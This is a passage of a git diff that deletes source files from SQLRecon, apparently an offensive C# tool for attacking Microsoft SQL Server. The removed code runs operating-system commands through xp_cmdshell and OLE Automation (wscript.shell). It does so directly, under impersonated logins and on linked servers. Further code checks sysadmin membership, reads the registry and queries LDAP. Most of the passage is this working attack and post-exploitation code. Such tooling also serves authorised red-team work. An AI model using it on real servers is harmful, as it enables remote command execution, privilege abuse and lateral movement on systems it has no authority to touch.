Console.WriteLine("\n[!] ERROR: You need to enable OLE Automation Procedures (ienableole)."); - return; - } - - RandomString rs = new RandomString(); - string output = rs.Generate(8); // generate a new random output name - string program = rs.Generate(8); // generate a new random program name - - Console.WriteLine("\n[+] Setting sp_oacreate to: " + output); - Console.WriteLine("\n[+] Setting sp_oamethod to: " + program); - - sqlOutput = sqlQuery.ExecuteQuery(con, "EXECUTE AS LOGIN = '" + impersonate + "';" + - "DECLARE @" + output + " INT; " + - "DECLARE @" + program + " VARCHAR(255);" + - "SET @" + program + " = 'Run(\"" + cmd + "\")';" + - "EXEC sp_oacreate 'wscript.shell', @" + output + " out;" + - "EXEC sp_oamethod @" + output + ", @" + program + ";" + - "EXEC sp_oadestroy @" + output + ";"); - - if (sqlOutput.Contains("0")) - { - Console.WriteLine("\n[+] Successfully executed command. Destroyed sp_oamethod."); - } - else if (sqlOutput.Contains("permission")) - { - Console.WriteLine("\n[!] ERROR: The current user does not have permissions to enable OLE Automation Procedures\n"); - } - else if (sqlOutput.Contains("blocked")) - { - Console.WriteLine("\n[!] ERROR: You need to enable OLE Automation Procedures\n"); - } - else - { - Console.WriteLine("\n[!] ERROR: " + sqlOutput + "\n"); - } - } - - public void LinkedCommand(SqlConnection con, String cmd, String linkedSqlServer) - { - string sqlOutput = ""; - - // first check to see if ole automation procedures is enabled - sqlOutput = config.CheckLinked(con, "Ole Automation Procedures", linkedSqlServer); - if (!sqlOutput.Contains("1")) - { - Console.WriteLine("\n[!] ERROR: You need to enable OLE Automation Procedures (lenableole)."); - return; - } - - RandomString rs = new RandomString(); - string output = rs.Generate(8); // generate a new random output name - string program = rs.Generate(8); // generate a new random program name - - Console.WriteLine("\n[+] Setting sp_oacreate to: " + output); - Console.WriteLine("\n[+] Setting sp_oamethod to: " + program); - - sqlOutput = sqlQuery.ExecuteLinkedCustomQuery(con, linkedSqlServer, "select 1; " + - "DECLARE @" + output + " INT; " + - "DECLARE @" + program + " VARCHAR(255);" + - "SET @" + program + " = ''Run(\"" + cmd + "\")'';" + - "EXEC sp_oacreate ''wscript.shell'', @" + output + " out;" + - "EXEC sp_oamethod @" + output + ", @" + program + ";" + - "EXEC sp_oadestroy @" + output + ";"); - - if (sqlOutput.Contains("0")) - { - Console.WriteLine("\n[+] Successfully executed command. Destroyed sp_oamethod."); - } - else if (sqlOutput.Contains("permission")) - { - Console.WriteLine("\n[!] ERROR: The current user does not have permissions to enable OLE Automation Procedures\n"); - } - else if (sqlOutput.Contains("blocked")) - { - Console.WriteLine("\n[!] ERROR: You need to enable OLE Automation Procedures\n"); - } - else - { - Console.WriteLine("\n[!] ERROR: " + sqlOutput + "\n"); - } - } - } -} \ No newline at end of file diff --git a/SQLRecon/SQLRecon/modules/Random.cs b/SQLRecon/SQLRecon/modules/Random.cs deleted file mode 100644 index b593318..0000000 --- a/SQLRecon/SQLRecon/modules/Random.cs +++ /dev/null @@ -1,23 +0,0 @@ -using System; -using System.Text; - -namespace SQLRecon.Modules -{ - public class RandomString - { - Random rand = new Random(); - - public string Generate(int length) - { - const string chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"; - var sb = new StringBuilder(); - - for (var i = 0; i - /// Check to see if a user is part of a role - /// - /// - /// - /// - /// - public bool CheckServerRole(SqlConnection con, string role, bool print = false) - { - var output = _sqlQuery.ExecuteQuery(con, "SELECT IS_SRVROLEMEMBER('" + role + "');").TrimStart('\n'); - - if (print) - RoleResult(role, output); - - return output.Equals("1"); - } - - /// - /// Check to see if a user is part of a role on a linked SQL server - /// - /// - /// - /// - /// - /// - public bool CheckLinkedServerRole(SqlConnection con, string role, string linkedSQLServer, bool print = false) - { - var output = _sqlQuery.ExecuteQuery(con, "select * from openquery(\"" + linkedSQLServer + "\", 'SELECT IS_SRVROLEMEMBER(''" + role + "'');')").TrimStart('\n'); - - if (print) - RoleResult(role, output); - - return output.Equals("1"); - } - - /// - /// Check the roles of an impersonated user - /// - /// - /// - /// - /// - /// - public bool CheckImpersonatedRole(SqlConnection con, string role, string impersonate, bool print = false) - { - var output = _sqlQuery.ExecuteQuery(con, "EXECUTE AS LOGIN = '" + impersonate + "';SELECT IS_SRVROLEMEMBER('" + role + "');").TrimStart('\n'); - - if (print) - RoleResult(role, output); - - return output.Equals("1"); - } - - private static void RoleResult(string role, string sqlOutput) - { - if (sqlOutput.Equals("1")) - { - Console.WriteLine("User is a member of " + role + " role"); - } - else - { - Console.WriteLine("User is NOT a member of " + role + " role"); - } - } - } -} \ No newline at end of file diff --git a/SQLRecon/SQLRecon/modules/SQLServerInfo.cs b/SQLRecon/SQLRecon/modules/SQLServerInfo.cs deleted file mode 100644 index 334d4ed..0000000 --- a/SQLRecon/SQLRecon/modules/SQLServerInfo.cs +++ /dev/null @@ -1,264 +0,0 @@ -using System; -using System.Data.SqlClient; - -namespace SQLRecon.Modules -{ - - public class SQLServerInfo - { - public string ComputerName { get; set; } - public string DomainName { get; set; } - public string ServicePid { get; set; } - public string ServiceName { get; set; } - public string ServiceAccount { get; set; } - public string AuthenticationMode { get; set; } - public string ForcedEncryption { get; set; } - public string Clustered { get; set; } - public string SqlServerVersionNumber { get; set; } - public string SqlServerMajorVersion { get; set; } - public string SqlServerEdition { get; set; } - public string SqlServerServicePack { get; set; } - public string OsArchitecture { get; set; } - public string OsMachineType { get; set; } - public string OsVersion { get; set; } - public string OsVersionNumber { get; set; } - public string CurrentLogin { get; set; } - public string IsSysAdmin { get; set; } - public string ActiveSessions { get; set; } - - private readonly SqlConnection _connection; - - public SQLServerInfo(SqlConnection connection) - { - _connection = connection; - } - - public void GetAllSQLServerInfo() - { - var roles = new Roles(); - var sysadmin = roles.CheckServerRole(_connection, "sysadmin"); - - IsSysAdmin = sysadmin ? "Yes" : "No"; - - ComputerName = GetComputerName(); - DomainName = GetDomainName(); - ServicePid = GetServicePid(); - - if (sysadmin) - { - OsMachineType = GetOsMachineType(); - OsVersion = GetOsVersion(); - } - - ServiceName = GetSqlServerServiceName(); - ServiceAccount = GetSqlServiceAccountName(); - AuthenticationMode = GetAuthenticationMode(); - ForcedEncryption = GetForcedEncryption(); - Clustered = GetClustered(); - SqlServerVersionNumber = GetSqlVersionNumber(); - SqlServerMajorVersion = GetSqlMajorVersionNumber(); - SqlServerEdition = GetSqlServerEdition(); - SqlServerServicePack = GetSqlServerServicePack(); - OsArchitecture = GetOsArchitecture(); - OsVersionNumber = GetOsVersionNumber(); - CurrentLogin = GetCurrentLogon(); - ActiveSessions = GetActiveSessions(); - } - - public void PrintInfo() - { - Console.WriteLine(); - Console.WriteLine("ComputerName: {0}", ComputerName); - Console.WriteLine("DomainName: {0}", DomainName); - Console.WriteLine("ServicePid: {0}", ServicePid); - Console.WriteLine("ServiceName: {0}", ServiceName); - Console.WriteLine("ServiceAccount: {0}", ServiceAccount); - Console.WriteLine("AuthenticationMode: {0}", AuthenticationMode); - Console.WriteLine("ForcedEncryption: {0}", ForcedEncryption); - Console.WriteLine("Clustered: {0}", Clustered); - Console.WriteLine("SqlServerVersionNumber: {0}", SqlServerVersionNumber); - Console.WriteLine("SqlServerMajorVersion: {0}", SqlServerMajorVersion); - Console.WriteLine("SqlServerEdition: {0}", SqlServerEdition); - Console.WriteLine("SqlServerServicePack: {0}", SqlServerServicePack); - Console.WriteLine("OsArchitecture: {0}", OsArchitecture); - - if (!string.IsNullOrEmpty(OsMachineType)) - Console.WriteLine("OsMachineType: {0}", OsMachineType); - - if (!string.IsNullOrEmpty(OsVersion)) - Console.WriteLine("OsVersion: {0}", OsVersion); - - Console.WriteLine("OsVersionNumber: {0}", OsVersionNumber); - Console.WriteLine("CurrentLogin: {0}", CurrentLogin); - Console.WriteLine("IsSysAdmin: {0}", IsSysAdmin); - Console.WriteLine("ActiveSessions: {0}", ActiveSessions); - } - - public string GetComputerName() - { - var query = new SQLQuery(); - return query.ExecuteQuery(_connection, "SELECT @@SERVERNAME;").TrimStart('\n'); - } - - public string GetDomainName() - { - var query = new SQLQuery(); - return query.ExecuteQuery(_connection, "SELECT DEFAULT_DOMAIN();").TrimStart('\n'); - } - - public string GetServicePid() - { - var query = new SQLQuery(); - return query.ExecuteQuery(_connection, "SELECT SERVERPROPERTY('processid');").TrimStart('\n'); - } - - public string GetOsVersion() - { - var query = new SQLQuery(); - return query.ExecuteQuery(_connection, @"DECLARE @ProductName SYSNAME - EXECUTE master.dbo.xp_regread - @rootkey = N'HKEY_LOCAL_MACHINE', - @key = N'SOFTWARE\Microsoft\Windows NT\CurrentVersion', - @value_name = N'ProductName', - @value = @ProductName output - SELECT @ProductName;").TrimStart('\n'); - } - - public string GetSqlServerServiceName() - { - var query = new SQLQuery(); - return query.ExecuteQuery(_connection, @"DECLARE @SQLServerServiceName varchar(250) - DECLARE @SQLServerInstance varchar(250) - if @@SERVICENAME = 'MSSQLSERVER' - BEGIN - set @SQLServerInstance = 'SYSTEM\CurrentControlSet\Services\MSSQLSERVER' - set @SQLServerServiceName = 'MSSQLSERVER' - END - ELSE - BEGIN - set @SQLServerInstance = 'SYSTEM\CurrentControlSet\Services\MSSQL$'+cast(@@SERVICENAME as varchar(250)) - set @SQLServerServiceName = 'MSSQL$'+cast(@@SERVICENAME as varchar(250)) - END - SELECT @SQLServerServiceName;").TrimStart('\n'); - } - - public string GetSqlServiceAccountName() - { - var query = new SQLQuery(); - return query.ExecuteQuery(_connection, @"DECLARE @SQLServerInstance varchar(250) - if @@SERVICENAME = 'MSSQLSERVER' - BEGIN - set @SQLServerInstance = 'SYSTEM\CurrentControlSet\Services\MSSQLSERVER' - END - ELSE - BEGIN - set @SQLServerInstance = 'SYSTEM\CurrentControlSet\Services\MSSQL$'+cast(@@SERVICENAME as varchar(250)) - END - - DECLARE @ServiceAccountName varchar(250) - EXECUTE master.dbo.xp_instance_regread - N'HKEY_LOCAL_MACHINE', @SQLServerInstance, - N'ObjectName',@ServiceAccountName OUTPUT, N'no_output' - SELECT @ServiceAccountName;").TrimStart('\n'); - } - - public string GetAuthenticationMode() - { - var query = new SQLQuery(); - return query.ExecuteQuery(_connection, @"DECLARE @AuthenticationMode INT - EXEC master.dbo.xp_instance_regread N'HKEY_LOCAL_MACHINE', - N'Software\Microsoft\MSSQLServer\MSSQLServer', - N'LoginMode', @AuthenticationMode OUTPUT - - (SELECT CASE @AuthenticationMode - WHEN 1 THEN 'Windows Authentication' - WHEN 2 THEN 'Windows and SQL Server Authentication' - ELSE 'Unknown' - END);").TrimStart('\n'); - } - - public string GetForcedEncryption() - { - var query = new SQLQuery(); - return query.ExecuteQuery(_connection, @"BEGIN TRY - DECLARE @ForcedEncryption INT - EXEC master.dbo.xp_instance_regread N'HKEY_LOCAL_MACHINE', - N'SOFTWARE\MICROSOFT\Microsoft SQL Server\MSSQLServer\SuperSocketNetLib', - N'ForceEncryption', @ForcedEncryption OUTPUT - END TRY - BEGIN CATCH - END CATCH - SELECT @ForcedEncryption;").TrimStart('\n'); - } - - public string GetClustered() - { - var query = new SQLQuery(); - return query.ExecuteQuery(_connection, @"SELECT CASE SERVERPROPERTY('IsClustered') - WHEN 0 - THEN 'No' - ELSE 'Yes' - END").TrimStart('\n'); - } - - public string GetSqlVersionNumber() - { - var query = new SQLQuery(); - return query.ExecuteQuery(_connection, @"SELECT SERVERPROPERTY('productversion');").TrimStart('\n'); - } - - public string GetSqlMajorVersionNumber() - { - var query = new SQLQuery(); - return query.ExecuteQuery(_connection, @"SELECT SUBSTRING(@@VERSION, CHARINDEX('2', @@VERSION), 4);").TrimStart('\n'); - } - - public string GetSqlServerEdition() - { - var query = new SQLQuery(); - return query.ExecuteQuery(_connection, @"SELECT SERVERPROPERTY('Edition');").TrimStart('\n'); - } - - public string GetSqlServerServicePack() - { - var query = new SQLQuery(); - return query.ExecuteQuery(_connection, @"SELECT SERVERPROPERTY('ProductLevel');").TrimStart('\n'); - } - - public string GetOsMachineType() - { - var query = new SQLQuery(); - return query.ExecuteQuery(_connection, @"DECLARE @MachineType SYSNAME - EXECUTE master.dbo.xp_regread - @rootkey = N'HKEY_LOCAL_MACHINE', - @key = N'SYSTEM\CurrentControlSet\Control\ProductOptions', - @value_name = N'ProductType', - @value = @MachineType output - SELECT @MachineType;").TrimStart('\n'); - } - - public string GetOsArchitecture() - { - var query = new SQLQuery(); - return query.ExecuteQuery(_connection, @"SELECT SUBSTRING(@@VERSION, CHARINDEX('x', @@VERSION), 3);").TrimStart('\n'); - } - - public string GetOsVersionNumber() - { - var query = new SQLQuery(); - return query.ExecuteQuery(_connection, @"SELECT RIGHT(SUBSTRING(@@VERSION, CHARINDEX('Windows Server', @@VERSION), 19), 4);").TrimStart('\n'); - } - - public string GetCurrentLogon() - { - var query = new SQLQuery(); - return query.ExecuteQuery(_connection, @"SELECT SYSTEM_USER;").TrimStart('\n'); - } - - public string GetActiveSessions() - { - var query = new SQLQuery(); - return query.ExecuteQuery(_connection, @"SELECT COUNT(*) FROM [sys].[dm_exec_sessions] WHERE status = 'running';").TrimStart('\n'); - } - } -} \ No newline at end of file diff --git a/SQLRecon/SQLRecon/modules/XPCmdShell.cs b/SQLRecon/SQLRecon/modules/XPCmdShell.cs deleted file mode 100644 index 31b970e..0000000 --- a/SQLRecon/SQLRecon/modules/XPCmdShell.cs +++ /dev/null @@ -1,109 +0,0 @@ -using System; -using System.Data.SqlClient; - -namespace SQLRecon.Modules -{ - public class XPCmdShell - { - SQLQuery sqlQuery = new SQLQuery(); - Configure config = new Configure(); - - // this executes a command against a sql server - public void StandardCommand(SqlConnection con, String cmd) - { - - string sqlOutput = ""; - - // first check to see if xp_cmdshell s is enabled - sqlOutput = config.Check(con, "xp_cmdshell"); - - if (!sqlOutput.Contains("1")) - { - Console.WriteLine("\n[!] ERROR: You need to enable xp_cmdshell (enablexp)."); - return; - } - - sqlOutput = sqlQuery.ExecuteCustomQuery(con, "EXEC xp_cmdshell '" + cmd + "';"); - - if (sqlOutput.Contains("permission")) - { - Console.WriteLine("\n[!] ERROR: The current user does not have permissions to issue xp_cmdshell commands"); - } - else if (sqlOutput.Contains("blocked")) - { - Console.WriteLine("\n[!] ERROR: You need to enable xp_cmdshell (enablexp)"); - } - else - { - // this is the output - Console.WriteLine(sqlOutput); - } - } - - // this executes a command against a sql server using impersonation - public void ImpersonateCommand(SqlConnection con, String cmd, String impersonate) - { - string sqlOutput = ""; - - // first check to see if xp_cmdshell s is enabled - sqlOutput = config.Check(con, "xp_cmdshell", impersonate); - - if (!sqlOutput.Contains("1")) - { - Console.WriteLine("\n[!] ERROR: You need to enable xp_cmdshell (ienablexp)."); - return; - } - - sqlOutput = sqlQuery.ExecuteCustomQuery(con, "EXECUTE AS LOGIN = '" + impersonate + "'; EXEC xp_cmdshell '" + cmd + "';"); - - if (sqlOutput.Contains("permission")) - { - Console.WriteLine("\n[!] ERROR: The current user does not have permissions to enable xp_cmdshell commands"); - } - else if (sqlOutput.Contains("blocked")) - { - Console.WriteLine("\n[!] ERROR: You need to enable xp_cmdshell (ienablexp)"); - } - else - { - // this is the output - Console.WriteLine(sqlOutput); - } - } - - // this executes a command against a linked sql server using - public void LinkedCommand(SqlConnection con, String cmd, String linkedSqlServer) - { - - string sqlOutput = ""; - - // first check to see if xp_cmdshell is enabled - sqlOutput = config.CheckLinked(con, "xp_cmdshell", linkedSqlServer); - - if (!sqlOutput.Contains("1")) - { - Console.WriteLine("\n[!] ERROR: You need to enable xp_cmdshell (ienablexp)."); - return; - } - - sqlOutput = sqlQuery.ExecuteLinkedCustomQuery(con, linkedSqlServer, "select 1; exec master..xp_cmdshell ''" + cmd + "''"); - - if (sqlOutput.Contains("permission")) - { - Console.WriteLine("\n[!] ERROR: The current user does not have permissions to enable xp_cmdshell commands"); - } - else if (sqlOutput.Contains("blocked")) - { - Console.WriteLine("\n[!] ERROR: You need to enable xp_cmdshell (lenablexp)"); - } - else - { - // this is the output - if (sqlOutput.Contains("1")) - { - Console.WriteLine("\nSUCCESS: Command Executed"); - } - } - } - } -} \ No newline at end of file diff --git a/SQLRecon/SQLRecon/utilities/DomainSearcher.cs b/SQLRecon/SQLRecon/utilities/DomainSearcher.cs deleted file mode 100644 index 73eaf98..0000000 --- a/SQLRecon/SQLRecon/utilities/DomainSearcher.cs +++ /dev/null @@ -1,24 +0,0 @@ -using System.DirectoryServices; - -namespace SQLRecon.utilities -{ - public sealed class DomainSearcher - { - public DirectoryEntry Directory { get; } - - public DomainSearcher() - { - Directory = new DirectoryEntry(); - } - - public DomainSearcher(string path) - { - Directory = new DirectoryEntry(path); - } - - public DomainSearcher(string path, string username, string password) - { - Directory = new DirectoryEntry(path, username, password); - } - } -} \ No newline at end of file diff --git a/SQLRecon/SQLRecon/utilities/Ldap.cs b/SQLRecon/SQLRecon/utilities/Ldap.cs deleted file mode 100644 index e4e9eeb..0000000 --- a/SQLRecon/SQLRecon/utilities/Ldap.cs +++ /dev/null @@ -1,54 +0,0 @@ -using System.Collections; -using System.Collections.Generic; -using System.DirectoryServices; - -namespace SQLRecon.utilities -{ - public sealed class Ldap - { - private readonly DomainSearcher _searcher; - - public Ldap(DomainSearcher searcher) - { - _searcher = searcher; - } - - public Dictionary> ExecuteQuery(string filter, string[] properties = null) - { - var searcher = new DirectorySearcher(_searcher.Directory) - { - Filter = filter, - }; - - if (properties is not null) - { - searcher.PropertiesToLoad.AddRange(properties); - } - - var searchResultCollection = searcher.FindAll(); - - var resultDictionary = new Dictionary>(); - - foreach (SearchResult searchResult in searchResultCollection) - { - resultDictionary.Add(searchResult.Path, null); - - var dictionary = new Dictionary(); - - foreach (DictionaryEntry entry in searchResult.Properties) - { - var values = new List(); - - foreach (var value in (ResultPropertyValueCollection)entry.Value) - values.Add(value); - - dictionary.Add(entry.Key.ToString(), values.ToArray()); - } - - resultDictionary[searchResult.Path] = dictionary; - } - - return resultDictionary; - } - } -} \ No newline at end of file diff --git a/images/sqlrecon-40.png b/images/sqlrecon-40.png new file mode 100644 index 0000000..53bb3f0 Binary files /dev/null and b/images/sqlrecon-40.png differ diff --git a/images/sqlrecon-original.png b/images/sqlrecon-original.png new file mode 100644 index 0000000..a937c25 Binary files /dev/null and b/images/sqlrecon-original.png differ